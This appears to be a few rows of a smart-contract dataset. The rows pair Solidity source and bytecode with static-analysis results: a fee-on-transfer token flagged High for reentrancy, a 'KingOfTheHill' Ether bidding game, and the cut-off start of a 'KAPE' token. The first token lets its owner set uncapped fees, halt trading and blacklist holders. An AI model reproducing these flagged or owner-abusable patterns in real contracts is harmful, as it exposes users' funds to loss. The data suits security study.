return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610524578063dd62ed3e14610544578063ea1644d51461058a578063f2fde38b146105aa57600080fd5b8063a2a957bb1461049f578063a9059cbb146104bf578063bfd79284146104df578063c3c8cd801461050f57600080fd5b80638f70ccf7116100d15780638f70ccf7146104185780638f9a55c01461043857806395d89b411461044e57806398a5c3151461047f57600080fd5b806374010ece146103c45780637d1db4a5146103e45780638da5cb5b146103fa57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461035a5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a57600080fd5b80631694505e116101a05780631694505e1461026b57806318160ddd146102a357806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023b57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611af0565b6105ca565b005b3480156101ff57600080fd5b5060408051808201909152600d81526c2830b936b2b9b0b72a37b5b2b760991b60208201525b6040516102329190611c1a565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611a46565b610677565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b50670de0b6b3a76400005b604051908152602001610232565b3480156102d457600080fd5b5061025b6102e3366004611a06565b61068e565b3480156102f457600080fd5b506102ba60185481565b34801561030a57600080fd5b5060405160098152602001610232565b34801561032657600080fd5b5060155461028b906001600160a01b031681565b34801561034657600080fd5b506101f1610355366004611996565b6106f7565b34801561036657600080fd5b506101f1610375366004611bb7565b610742565b34801561038657600080fd5b506101f161078a565b34801561039b57600080fd5b506102ba6103aa366004611996565b6107d5565b3480156103bb57600080fd5b506101f16107f7565b3480156103d057600080fd5b506101f16103df366004611bd1565b61086b565b3480156103f057600080fd5b506102ba60165481565b34801561040657600080fd5b506000546001600160a01b031661028b565b34801561042457600080fd5b506101f1610433366004611bb7565b61089a565b34801561044457600080fd5b506102ba60175481565b34801561045a57600080fd5b506040805180820190915260088152672820a926a2a9a0a760c11b6020820152610225565b34801561048b57600080fd5b506101f161049a366004611bd1565b6108e2565b3480156104ab57600080fd5b506101f16104ba366004611be9565b610911565b3480156104cb57600080fd5b5061025b6104da366004611a46565b61094f565b3480156104eb57600080fd5b5061025b6104fa366004611996565b60106020526000908152604090205460ff1681565b34801561051b57600080fd5b506101f161095c565b34801561053057600080fd5b506101f161053f366004611a71565b6109b0565b34801561055057600080fd5b506102ba61055f3660046119ce565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059657600080fd5b506101f16105a5366004611bd1565b610a5f565b3480156105b657600080fd5b506101f16105c5366004611996565b610a8e565b6000546001600160a01b031633146105fd5760405162461bcd60e51b81526004016105f490611c6d565b60405180910390fd5b60005b81518110156106735760016010600084848151811061062f57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066b81611d80565b915050610600565b5050565b6000610684338484610b78565b5060015b92915050565b600061069b848484610c9c565b6106ed84336106e885604051806060016040528060288152602001611ddd602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d8565b610b78565b5060019392505050565b6000546001600160a01b031633146107215760405162461bcd60e51b81526004016105f490611c6d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461076c5760405162461bcd60e51b81526004016105f490611c6d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107bf57506013546001600160a01b0316336001600160a01b0316145b6107c857600080fd5b476107d281611212565b50565b6001600160a01b03811660009081526002602052604081205461068890611297565b6000546001600160a01b031633146108215760405162461bcd60e51b81526004016105f490611c6d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108955760405162461bcd60e51b81526004016105f490611c6d565b601655565b6000546001600160a01b031633146108c45760405162461bcd60e51b81526004016105f490611c6d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461090c5760405162461bcd60e51b81526004016105f490611c6d565b601855565b6000546001600160a01b0316331461093b5760405162461bcd60e51b81526004016105f490611c6d565b600893909355600a91909155600955600b55565b6000610684338484610c9c565b6012546001600160a01b0316336001600160a01b0316148061099157506013546001600160a01b0316336001600160a01b0316145b61099a57600080fd5b60006109a5306107d5565b90506107d28161131b565b6000546001600160a01b031633146109da5760405162461bcd60e51b81526004016105f490611c6d565b60005b82811015610a59578160056000868685818110610a0a57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a1f9190611996565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5181611d80565b9150506109dd565b50505050565b6000546001600160a01b03163314610a895760405162461bcd60e51b81526004016105f490611c6d565b601755565b6000546001600160a01b03163314610ab85760405162461bcd60e51b81526004016105f490611c6d565b6001600160a01b038116610b1d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bda5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f4565b6001600160a01b038216610c3b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d005760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f4565b6001600160a01b038216610d625760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f4565b60008111610dc45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f4565b6000546001600160a01b03848116911614801590610df057506000546001600160a01b03838116911614155b156110d157601554600160a01b900460ff16610e89576000546001600160a01b03848116911614610e895760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f4565b601654811115610edb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f4565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1d57506001600160a01b03821660009081526010602052604090205460ff16155b610f755760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f4565b6015546001600160a01b03838116911614610ffa5760175481610f97846107d5565b610fa19190611d12565b10610ffa5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f4565b6000611005306107d5565b60185460165491925082101590821061101e5760165491505b8080156110355750601554600160a81b900460ff16155b801561104f57506015546001600160a01b03868116911614155b80156110645750601554600160b01b900460ff165b801561108957506001600160a01b03851660009081526005602052604090205460ff16155b80156110ae57506001600160a01b03841660009081526005602052604090205460ff16155b156110ce576110bc8261131b565b4780156110cc576110cc47611212565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061111357506001600160a01b03831660009081526005602052604090205460ff165b8061114557506015546001600160a01b0385811691161480159061114557506015546001600160a01b03848116911614155b15611152575060006111cc565b6015546001600160a01b03858116911614801561117d57506014546001600160a01b03848116911614155b1561118f57600854600c55600954600d555b6015546001600160a01b0384811691161480156111ba57506014546001600160a01b03858116911614155b156111cc57600a54600c55600b54600d555b610a59848484846114c0565b600081848411156111fc5760405162461bcd60e51b81526004016105f49190611c1a565b5060006112098486611d69565b95945050505050565b6012546001600160a01b03166108fc61122c8360026114ee565b6040518115909202916000818181858888f19350505050158015611254573d6000803e3d6000fd5b506013546001600160a01b03166108fc61126f8360026114ee565b6040518115909202916000818181858888f19350505050158015610673573d6000803e3d6000fd5b60006006548211156112fe5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f4565b6000611308611530565b905061131483826114ee565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061137157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113c557600080fd5b505afa1580156113d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113fd91906119b2565b8160018151811061141e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114449130911684610b78565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061147d908590600090869030904290600401611ca2565b600060405180830381600087803b15801561149757600080fd5b505af11580156114ab573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114cd576114cd611553565b6114d8848484611581565b80610a5957610a59600e54600c55600f54600d55565b600061131483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611678565b600080600061153d6116a6565b909250905061154c82826114ee565b9250505090565b600c541580156115635750600d54155b1561156a57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611593876116e6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c59087611743565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f49086611785565b6001600160a01b038916600090815260026020526040902055611616816117e4565b611620848361182e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166591815260200190565b60405180910390a3505050505050505050565b600081836116995760405162461bcd60e51b81526004016105f49190611c1a565b5060006112098486611d2a565b6006546000908190670de0b6b3a76400006116c182826114ee565b8210156116dd57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006117038a600c54600d54611852565b9250925092506000611713611530565b905060008060006117268e8787876118a7565b919e509c509a509598509396509194505050505091939550919395565b600061131483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d8565b6000806117928385611d12565b9050838110156113145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f4565b60006117ee611530565b905060006117fc83836118f7565b306000908152600260205260409020549091506118199082611785565b30600090815260026020526040902055505050565b60065461183b9083611743565b60065560075461184b9082611785565b6007555050565b600080808061186c606461186689896118f7565b906114ee565b9050600061187f60646118668a896118f7565b90506000611897826118918b86611743565b90611743565b9992985090965090945050505050565b60008080806118b688866118f7565b905060006118c488876118f7565b905060006118d288886118f7565b905060006118e4826118918686611743565b939b939a50919850919650505050505050565b60008261190657506000610688565b60006119128385611d4a565b90508261191f8583611d2a565b146113145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f4565b803561198181611dc7565b919050565b8035801515811461198157600080fd5b6000602082840312156119a7578081fd5b813561131481611dc7565b6000602082840312156119c3578081fd5b815161131481611dc7565b600080604083850312156119e0578081fd5b82356119eb81611dc7565b915060208301356119fb81611dc7565b809150509250929050565b600080600060608486031215611a1a578081fd5b8335611a2581611dc7565b92506020840135611a3581611dc7565b929592945050506040919091013590565b60008060408385031215611a58578182fd5b8235611a6381611dc7565b946020939093013593505050565b600080600060408486031215611a85578283fd5b833567ffffffffffffffff80821115611a9c578485fd5b818601915086601f830112611aaf578485fd5b813581811115611abd578586fd5b8760208260051b8501011115611ad1578586fd5b602092830195509350611ae79186019050611986565b90509250925092565b60006020808385031215611b02578182fd5b823567ffffffffffffffff80821115611b19578384fd5b818501915085601f830112611b2c578384fd5b813581811115611b3e57611b3e611db1565b8060051b604051601f19603f83011681018181108582111715611b6357611b63611db1565b604052828152858101935084860182860187018a1015611b81578788fd5b8795505b83861015611baa57611b9681611976565b855260019590950194938601938601611b85565b5098975050505050505050565b600060208284031215611bc8578081fd5b61131482611986565b600060208284031215611be2578081fd5b5035919050565b60008060008060808587031215611bfe578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4657858101830151858201604001528201611c2a565b81811115611c575783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cf15784516001600160a01b031683529383019391830191600101611ccc565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2557611d25611d9b565b500190565b600082611d4557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d6457611d64611d9b565b500290565b600082821015611d7b57611d7b611d9b565b500390565b6000600019821415611d9457611d94611d9b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220389f3c8c212ba9719600276fc52ce9ea4c9c369c59792ffd30ae4dbde82f3a4a64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,652 |
0x9196fc1d8b6b4eb0c30a98380eea913be5fb1741 | /*
_ ___ __ _ _ _ _ _ _ _
| |/ (_) / _| | | | | | | | (_) | |
| ' / _ _ __ __ _ ___ | |_ | |_| |__ ___ | |__| |_| | |
| < | | '_ \ / _` | / _ \| _| | __| '_ \ / _ \ | __ | | | |
| . \| | | | | (_| | | (_) | | | |_| | | | __/ | | | | | | |
|_|\_\_|_| |_|\__, | \___/|_| \__|_| |_|\___| |_| |_|_|_|_|
__/ |
|___/
Play game at https://lailune.github.io/KingOfTheHill
Original repo: https://github.com/lailune/KingOfTheHill
by @lailune
Don't forget MetaMask!
***************************
HeyHo!
Who Wants to Become King of the Hill? Everybody wants!
What to get the king of the hill? All the riches!
Become the king of the mountain and claim all the riches saved on this contract! Trust me, it's worth it!
Who will be in charge and take everything, and who will lose? It's up to you to decide. Take action!
*/
pragma solidity ^0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract KingOfTheHill{
using SafeMath for uint256;
//It's me
address payable private _owner;
//Last income block
uint256 public lastKingBlock;
//Current King of Hill
address payable public currentKing;
//Current balance
uint256 public currentBalance = 0;
//Min participant bid (25 cent)
uint256 public minBid = 725000 gwei;
//Min Bid incrase for every bid
uint public constant BID_INCRASE = 29000 gwei;
//Revenue for me :)
uint public constant OWNER_REVENUE_PERCENT = 5;
//Wait for 6000 block to claim all money on game start
uint public constant START_BLOCK_DISTANCE = 6000;
//Wait for 5 blocks in game barely finished
uint public constant MIN_BLOCK_DISTANCE = 5;
//Current block distance
uint public blockDistance = START_BLOCK_DISTANCE;
//We have a new king! All glory to new king!
event NewKing(address indexed user, uint256 amount);
//We have a winner
event Winner(address indexed user, uint256 amount);
/**
* Were we go
*/
constructor () public payable {
_owner = msg.sender;
lastKingBlock = block.number;
}
/**
* Place a bid for game
*/
function placeABid() public payable{
uint256 income = msg.value;
require(income >= minBid, "Bid should be greater than min bid");
//Calculate owner revenue
uint256 ownerRevenue = income.mul(OWNER_REVENUE_PERCENT).div(100);
//Calculate real income value
uint256 realIncome = income.sub(ownerRevenue);
//Check is ok
require(ownerRevenue != 0 && realIncome !=0,"Income too small");
//Change current contract balance
currentBalance = currentBalance.add(realIncome);
//Save all changes
currentKing = msg.sender;
lastKingBlock = block.number;
//Change block distance
blockDistance = blockDistance - 1;
if(blockDistance < MIN_BLOCK_DISTANCE){
blockDistance = MIN_BLOCK_DISTANCE;
}
//Change minimal bid
minBid = minBid.add(BID_INCRASE);
//Send owner revenue
_owner.transfer(ownerRevenue);
//We have a new King!
emit NewKing(msg.sender, realIncome);
}
receive() external payable {
placeABid();
}
/**
* Claim the revenue
*/
function claim() public payable {
//Check King is a king
require(currentKing == msg.sender, "You are not king");
//Check balance
require(currentBalance > 0, "The treasury is empty");
//Check wait
require(block.number - lastKingBlock >= blockDistance, "You can pick up the reward only after waiting for the minimum time");
//Transfer money to winner
currentKing.transfer(currentBalance);
//Emit winner event
emit Winner(msg.sender, currentBalance);
//Reset game
currentBalance = 0;
currentKing = address(0x0);
lastKingBlock = block.number;
blockDistance = START_BLOCK_DISTANCE;
minBid = 725000 gwei;
}
/**
* How many blocks remain for claim
*/
function blocksRemain() public view returns (uint){
if(block.number - lastKingBlock > blockDistance){
return 0;
}
return blockDistance - (block.number - lastKingBlock);
}
} | 0x6080604052600436106100ab5760003560e01c806394a001ab1161006457806394a001ab1461017f57806398beeefb146101aa578063ce845d1d146101d5578063d7cb92ec14610200578063eaac11bb1461022b578063f5b4571414610256576100ba565b80631d7cfd4f146100bf57806337416d82146100ea5780633e109a19146101155780634e71d92d14610140578063526a47d71461014a57806384e0b75414610175576100ba565b366100ba576100b8610297565b005b600080fd5b3480156100cb57600080fd5b506100d4610519565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff61051e565b6040518082815260200191505060405180910390f35b34801561012157600080fd5b5061012a610524565b6040518082815260200191505060405180910390f35b61014861052a565b005b34801561015657600080fd5b5061015f6107e9565b6040518082815260200191505060405180910390f35b61017d610297565b005b34801561018b57600080fd5b50610194610811565b6040518082815260200191505060405180910390f35b3480156101b657600080fd5b506101bf610817565b6040518082815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61081c565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b50610215610822565b6040518082815260200191505060405180910390f35b34801561023757600080fd5b5061024061082c565b6040518082815260200191505060405180910390f35b34801561026257600080fd5b5061026b610832565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60003490506004548110156102f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610b816022913960400191505060405180910390fd5b6000610320606461031260058561085890919063ffffffff16565b6108de90919063ffffffff16565b90506000610337828461092890919063ffffffff16565b90506000821415801561034b575060008114155b6103bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f496e636f6d6520746f6f20736d616c6c0000000000000000000000000000000081525060200191505060405180910390fd5b6103d28160035461097290919063ffffffff16565b60038190555033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055504360018190555060016005540360058190555060058054101561043e57600580819055505b610459651a6016b2d00060045461097290919063ffffffff16565b60048190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156104c5573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f63ea6e44e60fc591b95af6fb21146b2cd7815b93a09283200daca3105c640a9e826040518082815260200191505060405180910390a2505050565b600581565b60055481565b60045481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f596f7520617265206e6f74206b696e670000000000000000000000000000000081525060200191505060405180910390fd5b600060035411610665576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f54686520747265617375727920697320656d707479000000000000000000000081525060200191505060405180910390fd5b600554600154430310156106c4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526042815260200180610bc46042913960600191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003549081150290604051600060405180830381858888f1935050505015801561072e573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f9c2270628a9b29d30ae96b6c4c14ed646ee134febdce38a5b77f2bde9cea2e206003546040518082815260200191505060405180910390a260006003819055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550436001819055506117706005819055506602936237765000600481905550565b600060055460015443031115610802576000905061080e565b60015443036005540390505b90565b60015481565b600581565b60035481565b651a6016b2d00081565b61177081565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008083141561086b57600090506108d8565b600082840290508284828161087c57fe5b04146108d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610ba36021913960400191505060405180910390fd5b809150505b92915050565b600061092083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506109fa565b905092915050565b600061096a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ac0565b905092915050565b6000808284019050838110156109f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008083118290610aa6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a6b578082015181840152602081019050610a50565b50505050905090810190601f168015610a985780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610ab257fe5b049050809150509392505050565b6000838311158290610b6d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b32578082015181840152602081019050610b17565b50505050905090810190601f168015610b5f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4269642073686f756c642062652067726561746572207468616e206d696e20626964536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77596f752063616e207069636b2075702074686520726577617264206f6e6c792061667465722077616974696e6720666f7220746865206d696e696d756d2074696d65a264697066735822122042026359ed0d484e251564eeaea4928600aa0e404c84c93d44c136b46b57d89964736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,653 |
0x92e824f73686811fde069c78e9c45c73f7db34ed | /*
$KAPE is the king of the apes. King Ape is a community based token to grow the ape kingdom with the token holders.
https://t.me/kingape
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _mgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address mgSender = _mgSender();
_owner = mgSender;
emit OwnershipTransferred(address(0), mgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _mgSender());
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _rOwned;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
